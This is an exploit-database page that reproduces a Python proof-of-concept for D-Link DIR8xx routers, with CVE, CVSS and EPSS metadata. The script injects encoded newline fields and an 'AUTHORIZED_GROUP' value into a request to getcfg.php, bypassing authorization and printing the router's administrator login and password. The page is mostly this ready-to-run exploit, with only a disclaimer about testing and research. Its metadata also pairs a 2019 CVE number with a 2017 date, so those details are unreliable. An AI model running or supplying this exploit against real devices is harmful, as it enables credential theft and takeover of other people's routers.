Advertisement






D-Link DIR8xx Credential Leak

CVE Category Price Severity
CVE-2019-16920 CWE-255 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-09-15
CPE
cpe:cpe:/h:d-link:dir8xx_firmware
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090122

Below is a copy:

D-Link DIR8xx Credential Leak
# phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a router.
 
import requests as rq
 
EQ = "%3d"
IP = "192.168.0.1"
PORT = "80"
 
def pair(key, value):
    return "%0a_POST_" + key + EQ + value
 
headers_multipart = {
    'CONTENT-TYPE' : 'application/x-www-form-urlencoded'
}
 
url = 'http://{ip}:{port}/getcfg.php'.format(ip=IP, port=PORT)
auth = "%0aAUTHORIZED_GROUP%3d1"
data = "A=A" + pair("SERVICES", "DEVICE.ACCOUNT") + auth
 
print(rq.get(url, data=data, headers=headers_multipart).text)


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum